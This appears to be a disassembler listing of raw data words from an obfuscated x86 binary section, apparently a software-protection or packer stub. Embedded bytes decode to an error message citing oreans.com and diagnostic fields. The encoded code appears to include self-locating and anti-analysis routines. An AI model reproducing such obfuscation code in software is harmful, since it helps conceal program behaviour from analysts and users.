		dd 3D958B06h, 83060B18h
		dd 0B0DB1BDh, 840F0006h, 34h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 1AC35040h, 0FA34BF66h, 0EDD8509h
		dd 858D060Bh, 60DF5FDh,	0DE9F8h, 0D38B0000h, 0F5D3858Dh
		dd 43BF060Dh, 506E563Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 1C35141h, 0E94ED345h,	6, 0ADDC9C0Eh
		dd 0B5FF17E9h, 60DF5A0h, 0DA98D8Bh, 7BA060Bh, 0FF34CAC3h
		dd 0DF59895h, 0FFBF0F06h, 0F5A48589h, 8589060Dh, 60B2905h
		dd 0F5A4B5FFh, 8D89060Dh, 60B16BDh, 29919589h, 95FF060Bh
		dd 60DF594h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	51C35646h, 0AE99EC9h, 34000000h, 0A50AF185h, 1C7EFA84h
		dd 0FD8D8B3Dh, 0FF060B0Fh, 0DF5A4B5h, 0C5E28106h, 336F2403h
		dd 0B0D258Dh, 0F195FF06h, 89060B02h, 0B00119Dh,	0F6EAE906h
		dd 10E9FFFFh, 0F7000000h, 0ACF015D6h, 1AF25F14h, 0DCB239C2h
		dd 0FFDF3F6Bh, 0E00EDB5h, 0BBC78106h, 0FF290958h, 0B0AC595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 66A39068h, 858BC88Bh, 60B2B2Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 27C35141h, 895DF0CCh
		dd 0B023985h, 11E906h, 0BDDC0000h, 0D8BFB08Fh, 0EC7A0B3Ch
		dd 0DEC0D249h, 0E9120AACh, 5ACh, 11E8h,	29F05800h, 6CC3CD0Ah
		dd 5E437616h, 23BF017Fh, 95897CA4h, 60B19C5h, 0A2B58D5Ah
		dd 60060DF8h, 1B719D89h, 0EE8A060Bh, 0F9858D61h, 89060DA5h
		dd 0B0B319Dh, 0FCD0FF06h, 0B529006Ah, 60B13F9h,	2F4D95FFh
		dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 8501C5C3h, 1BBA663Ch, 0E1816603h,	0F38BFAB6h
		dd 1AD59D09h, 858D060Bh, 60DA5F9h, 0B2D8D8Bh, 0D0FF060Bh
		dd 0C958509h, 6A060Bh, 6830F60h, 8B000000h, 0B217585h
		dd 0A1BD8906h, 61060B0Bh, 0B9A9CF81h, 95FF12D5h, 60B2F4Dh
		dd 38E0Fh, 8B660000h, 89C08BCBh, 0B319195h, 0BDBD8306h
		dd 60B05h, 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h
		dd 7D9h, 2A358589h, 9D8D060Bh, 60DB31Ah, 585BD3FFh, 29D1BD83h
		dd 7400060Bh, 0B8535017h, 7D9h,	2A358589h, 9D8D060Bh, 60DB009h
		dd 585BD3FFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	44C35747h, 17DA98Ah, 0B70F7E0Dh, 0FFB70FCAh, 0D181C08Bh
		dd 78BBE6FDh, 12800F50h, 0E9000000h, 0Dh, 7D43AB19h, 0AD9490A3h
		dd 0AA234591h, 6AD88B82h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0A42FC352h,	0A4DC05C8h
		dd 80872927h, 8B66B1F5h, 9D8D53D0h, 60B043Dh, 389038Bh
		dd 8950438Bh, 9D8D5043h, 60E0086h, 389038Bh, 0CE95Bh, 0CD250000h
		dd 0D6428724h, 296467AAh, 9D890BB6h, 60B0515h, 0BD8B006Ah
		dd 60B211Dh, 86858Dh, 8166060Eh, 508AD8F2h, 22899523h
		dd 606A060Bh, 43D858Dh,	0DCBF060Bh, 505DDA84h, 8589006Ah
		dd 60B05C1h, 0BD8B006Ah, 60B0139h, 180068h, 0CD958B00h
		dd 53060B2Eh, 0C981D38Ah, 36E5E147h, 59995FFh, 880F060Bh
		dd 1, 8D95FFFCh, 0F060B0Bh, 884h, 8F0F5200h, 0
		dd 0F680605Fh, 61D98B66h, 0EDB5FFh, 0B966060Eh,	0F504627h
		dd 389h, 0CFBF0F00h, 0C595FF5Ah, 6A060B0Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1729C353h
		dd 87DD507Ah, 8F293FA5h, 43D858Dh, 8166060Bh, 8B4F78C9h
		dd 6A1840h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 25D44C3h,	5169B1DDh, 0E8AA53E0h, 5, 4452B355h
		dd 0CE9A6h, 8F200000h, 26DD29FDh, 36B1E03Fh, 665F1D5Ch
		dd 85C7CB8Bh, 60B0711h,	0
		dd 3759533h, 0BD83060Bh, 60B0DB1h, 3D840F00h, 66000000h
		dd 0A83AEF81h, 8C3Dh, 23830F00h, 89000002h, 0B1B3195h
		dd 5DE906h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD8B5EC3h, 60B20F1h, 963Dh, 0EB830F00h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 4918C352h, 1CAEBF96h, 830F564Dh
		dd 6, 0EF1BD89h, 8D5F060Bh, 5AF59F85h, 89CE8B00h, 0B08658Dh
		dd 6AD0FF06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0CD3CC353h, 0B18E8E55h, 11E874h
		dd 0BB610000h, 4B8A1EADh, 0EE8AD301h, 0CD346D98h, 0FB7243Dh
		dd 683h, 0ECDF8100h, 5F270716h,	0EFF2858Dh, 6A005Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 2E00FCC3h, 66D0A128h, 3FA0C781h, 958BD0FFh, 60B1161h
		dd 8BBAC08Bh, 836628FFh, 0B05BDBDh, 9750006h, 29D1BD83h
		dd 7400060Bh, 8B535019h, 0BC6B8C0h, 85890000h, 60B2A35h
		dd 0B31A9D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50177400h
		dd 0BC6B853h, 85890000h, 60B2A35h, 0B0099D8Dh, 0D3FF060Dh
		dd 0E580585Bh, 0E9858946h, 8B060B0Ah, 0FFF883C0h, 87850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 103F16C3h, 7DBD8B81h, 0C7060B24h,	0B316D85h
		dd 6, 0FFB96600h, 111E9B2h, 66E90000h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 3908C350h, 9DB3CE98h, 10E8605Fh, 42000000h, 0D464E492h
		dd 93F3BD38h, 32C79564h, 664DEBDCh, 59A483B8h, 1B59BD09h
		dd 8B61060Bh, 0B0F59BDh, 1F88306h, 13850Fh, 0D2800000h
		dd 0D6E9BDh, 87B90000h,	9699940h, 0B112995h, 0F176E906h
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 45F829C3h, 32EDBD8Bh, 0C08B060Bh,	28EDB589h
		dd 0BD83060Bh, 60B05BDh, 83097500h, 0B29D1BDh, 19740006h
		dd 0C08B5350h, 7DDB8h, 35858900h, 8D060B2Ah, 0DB31A9Dh
		dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h, 7DDB8h, 35858900h
		dd 8D060B2Ah, 0DB0099Dh, 5BD3FF06h, 0FE958h, 7E630000h
		dd 6503BACBh, 40884A9Ah, 0E7641522h, 998D8B3Fh,	8B060B18h
		dd 0CE8B66C0h, 1E4E9h, 0E5BD3100h, 8D060B1Ah, 0DFE8A85h
		dd 604EBF06h, 85896959h, 60E0082h, 23298D8Bh, 9589060Bh
		dd 60B05B9h, 1EE9h, 0C8BF0F00h,	0FC92858Dh, 0B70F060Dh
		dd 0BD8B40C9h, 60B0E5Dh, 828589h, 8166060Eh, 6A1C56C7h
		dd 0C5858D34h, 50060B16h, 82B5FFh, 6A060Eh, 0BD995FFh
		dd 0F883060Bh, 62840F07h, 66000001h, 0C3F6DB8Ch, 0FC850F04h
		dd 0C6000000h, 0B284585h, 52685606h, 0FF9CA8B8h, 0B0B01B5h
		dd 0D858D06h, 0FF060B39h, 68046AD0h, 1000h, 6A646Ah, 8589D0FFh
		dd 60E00F5h, 284585C6h,	6847060Bh, 0EC18AC9Bh, 0B01B5FFh
		dd 858D060Bh, 60B390Dh,	0D0FFD0FFh, 85C6F08Bh, 60B2845h
		dd 2661684Fh, 0B5FFC62Fh, 60B194Dh, 390D858Dh, 0D0FF060Bh
		dd 0F19D8Dh, 6A53060Eh,	0D0FF5628h, 75C085h, 284585C6h
		dd 6841060Bh, 0DB876498h, 194DB5FFh, 858D060Bh,	60B390Dh
		dd 8589D0FFh, 60E010Eh,	284585C6h, 684C060Bh, 80A4E7A4h
		dd 194DB5FFh, 858D060Bh, 60B390Dh, 9D8BD0FFh, 60E00F5h
		dd 53045B8Dh, 0FA9D8Dh,	6A53060Eh, 8BD0FF00h, 0E00F59Dh
		dd 103C706h, 0C7000000h, 20C43h, 85C70000h, 60B0C59h, 0
aJjj:
		unicode	0, <jjj>
		dw 9D8Bh
		dd 60E00F5h, 0FF006A53h, 0E00F1B5h, 0E95FF06h, 0C6060E01h
		dd 0B284585h, 97684506h, 0FF92A5F7h, 0B0315B5h,	0D858D06h
		dd 0FF060B39h, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h
		dd 0E00F59Dh, 0C43C706h, 0
		dd 6A006Ah, 0F59D8Bh, 6A53060Eh, 0F1B5FF00h, 0FF060E00h
		dd 0E010E95h, 0F1B5FF06h, 0FF060E00h, 0B0B8D95h, 0FF006A06h
		dd 0B2F4D95h, 0C1852906h, 60060B28h, 3004CE81h,	8D8B741Ah
		dd 60B1AADh, 47858D61h,	6A060E35h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 906CC357h
		dd 5E077E87h, 6A50949Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 140C352h, 0D471C9FAh
		dd 2A058589h, 0FF64060Bh, 35h, 698D8900h, 64060B00h, 2589h
		dd 83FC0000h, 0B2715BDh, 840F0006h, 58h, 2E25B589h, 0BD83060Bh
		dd 60B0B19h, 45850F01h,	60000000h, 4E98589h, 12E9060Bh
		dd 26000000h, 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh
		dd 0BD80614Ch, 60E050Eh, 19850F00h, 8A000000h, 18DE9CAh
		dd 89600000h, 0B29C185h, 1DB58B06h, 61060B21h, 0DF11BA66h
		dd 6ADB33h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 2E14FDC3h, 0FE24FEF4h, 8D0FC033h,	19h, 14E9h
		dd 55745C00h, 0CAF145EFh, 0B474BD6Bh, 0E9C8E845h, 188692A4h
		dd 3F0F4063h, 8F640B07h, 5, 4C48300h, 14E9h, 8A9C1C00h
		dd 0DD22B8B1h, 0F4511591h, 184982DBh, 8A4273CCh, 0F98B6667h
		dd 0CE960h, 48410000h, 0A9A324E9h, 6159F744h, 950BEEAEh
		dd 60B1661h, 0FFFB8361h, 1B840Fh, 0B5290000h, 60B2DF1h
		dd 0D4E9h, 0BE900h, 37D20000h, 0EAEA7A71h, 0BBEAB57Ah
		dd 58E99Ch, 8C0F0000h, 3, 8BCABF0Fh, 0C70C244Ch, 0A481h
		dd 0FFFFFF00h, 0B88183FFh, 4000000h, 8BC3C033h,	550C245Ch
		dd 0E8h, 0ED815D00h, 60E3569h, 0B8838Bh, 858D0000h, 60E3607h
		dd 0B88389h, 335D0000h,	8B60C3C0h, 49B529C6h, 61060B03h
		dd 32819D89h, 858D060Bh, 60E355Fh, 1A4D958Bh, 8150060Bh
		dd 7B37B9C7h, 6E845h, 20E10000h, 917A8E49h, 4A58D8Bh, 645F060Bh
		dd 35FFh, 8D0B0000h, 60B2A59h, 258964h,	60000000h, 6504BE66h
		dd 0AB961h, 4B80000h, 54855D7h,	0DF78164h, 85D465BBh, 0B640BA86h
		dd 0EA810034h, 345FE8h,	68FB81EDh, 75564D58h, 3185C70Ah
		dd 1060B0Eh, 64000000h,	58Fh, 0C4830000h, 0D9BD8B04h, 0F9060B2Eh
		dd 21E5958Bh, 0C08B060Bh, 0BA5B589h, 0BD83060Bh, 60B05BDh
		dd 83097500h, 0B29D1BDh, 19740006h, 0C08B5350h,	43DB8h
		dd 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h, 0D1BD8358h
		dd 60B29h, 53501774h, 43DB8h, 99858900h, 8D060B12h, 0DB0229Dh
		dd 5BD3FF06h, 8E958h, 833E0000h, 0A72742BEh, 9E902A3h
		dd 1C000000h, 82A2BEE3h, 322CA78Ah, 9E8h, 656FCC00h, 53EE074Eh
		dd 8D89D898h, 60B0875h,	0E9C08B5Ah, 13Ah, 4, 35382E31h
		dd 35h,	6 dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
		dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
		dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
		dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
		dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
		dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
		dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
		dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
		dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
		dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
		dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
		dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
		dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
		dd 60B0299h, 2D840F00h,	8D000001h, 0DAE3985h, 858D5006h
		dd 60DADA3h, 16850h, 95FF8000h,	60DAE49h, 36A8858Dh, 8D50060Eh
		dd 0E36B285h, 6A5006h, 858D006Ah, 60DADB7h, 39B5FF50h
		dd 0FF060DAEh, 0B2A6195h, 0A8858D06h, 50060E36h, 36B6858Dh
		dd 6A50060Eh, 8D006A00h, 0DADC985h, 0B5FF5006h,	60DAE39h
		dd 2A6195FFh, 858D060Bh, 60E36A8h, 0C2858D50h, 50060E36h
		dd 6A006Ah, 0AE16858Dh,	0FF50060Dh, 0DAE39B5h, 6195FF06h
		dd 8D060B2Ah, 0E36A885h, 858D5006h, 60E36CAh, 6A006A50h
		dd 34858D00h, 50060DAEh, 0AE39B5FFh, 95FF060Dh,	60B2A61h
		dd 36A8858Dh, 8D50060Eh, 0E36C685h, 6A5006h, 858D006Ah
		dd 60DAE1Dh, 39B5FF50h,	0FF060DAEh, 0B2A6195h, 0A8858D06h
		dd 50060E36h, 36BA858Dh, 6A50060Eh, 8D006A00h, 0DAE2585h
		dd 0B5FF5006h, 60DAE39h, 2A6195FFh, 858D060Bh, 60E36A8h
		dd 0BE858D50h, 50060E36h, 6A006Ah, 0AE2C858Dh, 0FF50060Dh
		dd 0DAE39B5h, 6195FF06h, 0FF060B2Ah, 0DAE39B5h,	0CD95FF06h
		dd 0E9060B2Ah, 0A2h, 8F9BD83h, 0F00060Bh, 9584h, 19BD8300h
		dd 60B0Bh, 11850Fh, 958B0000h, 60B1F75h, 1CF8C281h, 0FE90000h
		dd 8D000000h, 0B043D95h, 34528B06h, 0C340C281h,	95893BD4h
		dd 60B2765h, 2765BD83h,	0F00060Bh, 5584h, 659D8B00h, 83060B27h
		dd 38B4CC3h, 36B28589h,	9D8B060Eh, 60B2765h, 8B50C383h
		dd 0B6858903h, 8B060E36h, 0B27659Dh, 54C38306h,	8589038Bh
		dd 60E36C2h, 27659D8Bh,	0C383060Bh, 89038B58h, 0E36C685h
		dd 659D8B06h, 83060B27h, 38B5CC3h, 36BA8589h, 0BD83060Eh
		dd 60B0299h, 0D850F00h,	83000000h, 0B08F9BDh, 840F0006h
		dd 68h,	36CAB5FFh, 0B5FF060Eh, 60E36BEh, 36BAB5FFh, 0B5FF060Eh
		dd 60E36C6h, 36C2B5FFh,	0B5FF060Eh, 60E36B6h, 36B2B5FFh
		dd 858D060Eh, 60E36ACh,	0E4858D50h, 50060E36h, 24BD858Dh
		dd 0FF50060Bh, 0B000D95h, 24C48306h, 858D406Ah,	60E36CEh
		dd 0BD858D50h, 50060B24h, 95FF006Ah, 60B0BD9h, 95FF016Ah
		dd 60B2F4Dh, 9E8C18Bh, 0D8000000h, 0C09B2ABBh, 3A1A7A01h
		dd 5ACB8B66h, 38A0Fh, 0B70F0000h, 0ABC281C8h, 0F00005Ah
		dd 0A88h, 5E900h, 0DD180000h, 2B8213DFh, 343EBBFFh, 48B6644h
		dd 7E83Ah, 0A1B0000h, 0D1481937h, 0D68BE63h, 81595FFBh
		dd 0CA8FC9C0h, 0AE958h,	0F3F50000h, 4670AEBh, 62880C82h
		dd 8FCF081h, 0D88B4C9Bh, 71DCC081h, 840F4B99h, 8, 2830Fh
		dd 61600000h, 0F1B9BB50h, 48F059Ch, 3840F3Ah, 66000000h
		dd 0DE9D88Bh, 0DF000000h, 510BC924h, 9035E212h,	23591956h
		dd 0F804EF83h, 0A600FF81h, 850FFFFFh, 0FFFFFF86h, 0B2603EB1h
		dd 0E9C08B73h, 9, 341E4F7Ah, 8DFCC24h, 0BDBD830Ch, 60B05h
		dd 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h,	40Eh, 2A358589h
		dd 9D8D060Bh, 60DB31Ah,	585BD3FFh, 29D1BD83h, 7400060Bh
		dd 0B8535017h, 40Eh, 2A358589h,	9D8D060Bh, 60DB009h, 585BD3FFh
		dd 8BF949B2h, 0B38BBAC0h, 0BD83629Ch, 60B2715h,	0F840F00h
		dd 57000000h, 0FC5E9AB6h, 268E9h, 0F6816600h, 0DF8CF582h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 3FC35242h
		dd 66CA8BB3h, 4C7F7h, 237850Fh,	0BE90000h, 40000000h, 0D165A8E0h
		dd 78392856h, 0BE669083h, 0BF0B54h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 476EC357h, 8DFCC057h, 0E3D989Dh, 0BA66F506h,	8B930D7Bh
		dd 13E850D7h, 0D8000000h, 58A0A8F5h, 0AE93DD04h, 0AF5E73A8h
		dd 379BCF1Fh, 0F78B3B40h, 6A935Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 807E96C3h, 0FF644C63h
		dd 35h,	25896400h, 0
		dd 0CE9C48Bh, 3A000000h, 0C42FD469h, 36EFB0DFh,	0CD3FFC72h
		dd 6A00EB01h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 5CDDC351h, 0AC372752h,	6FAC79ADh
		dd 8BD78B66h, 52006AF1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0FB6E5D38h, 0FBE23F9h, 8E8C9B7h
		dd 0D0000000h, 1542944Fh, 66CD3804h, 37A6E981h,	58F645Eh
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FCC35141h
		dd 5F3AF5D2h, 0F89DCD8h, 0CE9D0B7h, 3E000000h, 0F4CF924Fh
		dd 982A6629h, 83242229h, 6A04C4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B96625C3h, 0BE669851h
		dd 0C00BAC45h, 0BF840Fh, 0BA660000h, 666132AAh,	0BD8DC88Bh
		dd 60B7305h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	93C35747h, 5AADBF2Bh, 2736CAEAh, 4890FF8h, 52000000h
		dd 0B8595A50h, 1, 7E8CDB1h, 35000000h, 0C1E96FA0h, 8B609C3Bh
		dd 0FF5A61FAh, 57006AE7h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0BE6B0741h, 34EDADBCh
		dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h
		dd 83000000h, 0B883h, 335F0200h, 0E860C3C0h, 11h, 6F8C4DB4h
		dd 0A14E57A5h, 68524FFEh, 6476914Ch, 1709BF4Eh,	0BA584CA1h
		dd 2415620h, 2BA6161h, 8B6B7ADEh, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 8D4B5672h
		dd 0BDBD83E1h, 60B05h, 0BD830975h, 60B29D1h, 50197400h
		dd 0B8C08B53h, 40Eh, 12998589h,	9D8D060Bh, 60DB381h, 585BD3FFh
		dd 29D1BD83h, 7400060Bh, 0B8535017h, 40Eh, 12998589h, 9D8D060Bh
		dd 60DB022h, 585BD3FFh,	6A5A52h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 976F6EC3h, 8B0FF941h
		dd 3, 8BE8F180h, 0AE9C0h, 0B6550000h, 0BEB907AFh, 3AEDF738h
		dd 8BB6CD80h, 1718EBC2h, 9B46F3h, 4 dup(0)
		dd 0E9000000h, 20Bh, 245C8B60h,	0E824h,	815D0000h, 0E3EBAEDh
		dd 4C26106h, 0FFE6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 60E3EF2h,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 60E3EF6h
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 65858B00h, 86060B27h
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 60B0AB5h, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 65858B00h, 0C6060B27h, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 0B276585h, 0A188606h
		dd 0F6850FDBh, 0C7FFFFFFh, 0B1E9985h, 6, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 60B1E99h
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
		dd 66C361FFh, 4A8D88Ch,	29840Fh, 85C70000h, 60E3E97h, 1
		dd 4C010F50h, 858FFE24h, 60E3E9Bh, 3E93858Dh, 0BD8D060Eh
		dd 60E3E9Bh, 23E93889h,	8D000000h, 0B043D85h, 38408B06h
		dd 46F31705h, 9385899Bh, 8D060E3Eh, 0B043D85h, 3C408B06h
		dd 3E978589h, 858D060Eh, 60E3EB0h, 0AB58589h, 87E9060Bh
		dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch,	7E9A945h
		dd 0
		dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
		dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
		dd 0A840F2Dh, 4000000h,	32133498h, 8C3C1D8h, 0FC90B49h
		dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 60E4123h
		dd 52D8589h, 858D060Bh,	60E414Bh, 21ED8589h, 858D060Bh
		dd 60E4173h, 0F018589h,	8EB060Bh, 2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 0B19858Bh
		dd 858D060Bh, 60E70DAh,	888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah
		dd 60E41D4h, 0DB1BD83h,	0F00060Bh, 0F84h, 6A6000h, 32DD95FFh
		dd 0E961060Bh, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h
		dd 895A04CDh, 0E41D085h, 0D4B58B06h, 0C1060E41h, 896610CEh
		dd 0B58B0272h, 60E41D4h, 0FC728966h, 0D0858B61h, 0C3060E41h
		dd 2F65958Dh, 9589060Bh, 60B2765h, 2EC59589h, 85FF060Bh
		dd 60B2EC5h, 284585C6h,	6853060Bh, 0FCB148D8h, 0B01B5FFh
		dd 858D060Bh, 60B390Dh,	8589D0FFh, 60B32DDh, 3ECA858Dh
		dd 8589060Eh, 60B1BBDh,	0ADE900EBh, 0E9000005h,	5A1h, 0E436F68h
		dd 3C85E906h, 0B868FFFDh, 0E9060E44h, 0FFFD3C7Bh, 0E452168h
		dd 3C71E906h, 0A68FFFDh, 0E9060E46h, 0FFFD3C67h, 0E471C68h
		dd 3C5DE906h, 0F204FFFDh, 98EF18DBh, 4E5D4AA9h,	0FF07E073h
		dd 0AEF213C0h, 0EEF54C97h, 29CAF50Fh, 599AA7FCh, 0F66D58ACh
		dd 22310C19h, 0EF9B13D9h, 60C59A5Fh, 27A72B91h,	0DFC3941Dh
		dd 0C3941DABh, 941D384Bh, 1D86C6C3h, 0F7EC394h,	0F7C3941Dh
		dd 43941D97h, 9C4ED5A7h, 9F25E508h, 0FA605A3Dh,	11C2FD0Bh
		dd 4795A0F4h, 82764B56h, 70A8A04Eh, 0BBC5172Ch,	0F30C394Ah
		dd 0E0B20632h, 1DE907C9h, 0C46B5EC8h, 26A5CB70h, 968E6717h
		dd 0A8A79B78h, 0C6DF7A6h, 341AFD55h, 0B1000004h, 18F56E65h
		dd 0C6273C0Dh, 0B05D86BBh, 1F886B6Ah, 9A393A05h, 5D60B853h
		dd 2D106986h, 0F0CFD936h, 44718263h, 76FE729Fh,	0C59A5E12h
		dd 0DEBE2695h, 0B91B6DD5h, 1B7F536Eh, 4B5647D1h, 864E8276h
		dd 0C3941DC2h, 1DC08428h, 7347C394h, 0B890BE84h, 941DD9A8h
		dd 8C79EBC3h, 86FA4E7Bh, 6ED2ED37h, 2BBAFC2Ah, 5F84B1C2h
		dd 0E46865AEh, 7D5E035h, 0CA5CBDD8h, 94F426A2h,	0A651A9C3h
		dd 0DB234C27h, 0D83C10E4h, 0B15E1B3Fh, 0D9774D10h, 4C7D8871h
		dd 340B11F8h, 9B2A0040h, 8E1F19E7h, 32211C69h, 40F227C6h
		dd 3620232h, 0DEEA0000h, 0DC14F8D5h, 0C3941DADh, 1F32D42Ch
		dd 50FA9D39h, 0C0A91D71h, 4B3599B4h, 3EC2BC49h,	7CE36964h
		dd 68FC3203h, 0C394051Ch, 7090AF93h, 94799728h,	0FBD62383h
		dd 0BDAF5C87h, 94F95D29h, 2E8D2C3h, 0C0B48B93h,	0DE320119h
		dd 8012D830h, 94F9186Ch, 7DABEFC3h, 0AA498490h,	0A91D287Dh
		dd 0C1122D71h, 74E6D324h, 0F90642EAh, 0B189C394h, 0B5CAB397h
		dd 83C36B88h, 2C394F9h,	3C7CC0FDh, 8711DB60h, 94F91B6Fh
		dd 7896ECC3h, 0FD0F7EF6h, 0BA80BD9Fh, 61F283ADh, 5FA4886h
		dd 2EBh, 3E251C66h, 688BC6D1h, 865D6CBFh, 31221169h, 62F1CCD4h
		dd 2B718CD3h, 0D9DECF14h, 868E7FE4h, 2E7B944Fh,	313BC013h
		dd 9A59C9BDh, 9EF5EC5h,	14F8D5DEh, 916550A5h, 75EED328h
		dd 941DA1E1h, 2DA9D9C3h, 0D328C394h, 0BACA1AEEh, 8A3C6BEDh
		dd 6B8369F2h, 4260D3AAh, 6855AA03h, 0EE3FFB74h,	1EF48662h
		dd 282B9h, 9CABFF00h, 625FA647h, 340514F1h, 99B8FE2Fh
		dd 6857AD5Ah, 0C6254C8Bh, 0B75083B2h, 6780536Eh, 0D03D2611h
		dd 0A0698AC7h, 58A02448h, 5827C59Ah, 4550BDE0h,	2673DA74h
		dd 0ADF6A72Bh, 77DBF605h, 0E24B3F13h, 68D1A59Ch, 0E15F2312h
